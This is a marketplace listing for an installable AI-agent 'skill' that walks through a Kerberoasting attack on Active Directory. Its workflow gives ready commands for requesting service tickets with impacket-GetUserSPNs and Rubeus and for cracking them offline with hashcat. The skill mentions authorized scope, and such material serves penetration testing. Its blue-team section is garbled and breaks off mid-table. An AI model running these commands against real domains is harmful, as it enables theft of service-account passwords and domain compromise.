agentsclimarketplace

Kerberoasting attack

Skill ShulkwiSEC/bb-huge/skills/curated/kerberoasting-attack

bb-huge 🤗 , Personal bug bounty findings hub and bug bounty orchestration for multiple agents

Install
npx -y skills add ShulkwiSEC/bb-huge --skill kerberoasting-attack

Assembled from the repository path, not quoted from the project. Check it against their README if it does not work.

One thing to look at

  • 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.

What its author says it does

Copied from the file, not written here

Exploit Active Directory environments using Kerberoasting. This skill details how to identify Service Principal Names (SPNs) associated with user accounts, request their TGS tickets, and crack the RC4 encrypted component offline to recover service account passwords.

The file declares its own license as Apache-2.0. That is the author’s claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.

SKILL.md

4.2 KB, 866 tokens by cl100k_base, as published. Nobody here has run it

Kerberoasting Attack

When to Use

  • When you have obtained initial access to an Active Directory domain (valid user credentials or a compromised domain-joined machine).
  • To compromise service accounts, which often have elevated privileges (like Domain Admin) and rarely changed passwords.

Prerequisites

  • Authorized scope and rules of engagement for the target environment
  • Appropriate tools installed on the attack/analysis platform
  • Understanding of the target technology stack and architecture
  • Documentation template ready for findings and evidence capture

Workflow

Phase 1: Identifying SPNs and Requesting Tickets (Linux/Impacket)

Using valid domain credentials from a Linux attack machine:

# Concept: Query AD for accounts with SPNs and request TGS tickets formatted for Hashcat impacket-GetUserSPNs target.local/low_priv_user:Password123! -request -outputfile kerberoast_hashes.txt -format hashcat

Phase 2: Extracting Hashes from a Windows Host (Rubeus)

If executing directly from a compromised Windows workstation (where you are already authenticated as a domain user):

# Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat

Phase 3: Offline Password Cracking

Extract the hashes from the output file and run them through Hashcat. Hashcat mode for Kerberoast (RC4) is 13100. (If AES, mode is 19600 or 19700).

# hashcat -m 13100 -a 0 kerberoast_hashes.txt rockyou.txt -O

Decision Point 🔀

flowchart TD
    A[Valid AD Domain Access? ] --> B{Yes}
    B --> C[Query SPNs ]
    C --> D[Request TGS Tickets ]
    D --> E[Export to Hashcat Format ]
    E --> F[Offline Crack ]

🔵 Blue Team Detection & Defense

  • Strong Service Account Passwords: Monitor Kerberos Event ID 4769: Use Group Managed Service Accounts (gMSA): Key Concepts | Concept | Description | |---------|-------------|

Output Format

Kerberoasting Attack — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]

📚 Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

References

Keep looking

Skills are one crate of 328,083. Ordering is by how many stacks a row turns up in, so the top of any crate is what has actually been picked rather than what has the most stars.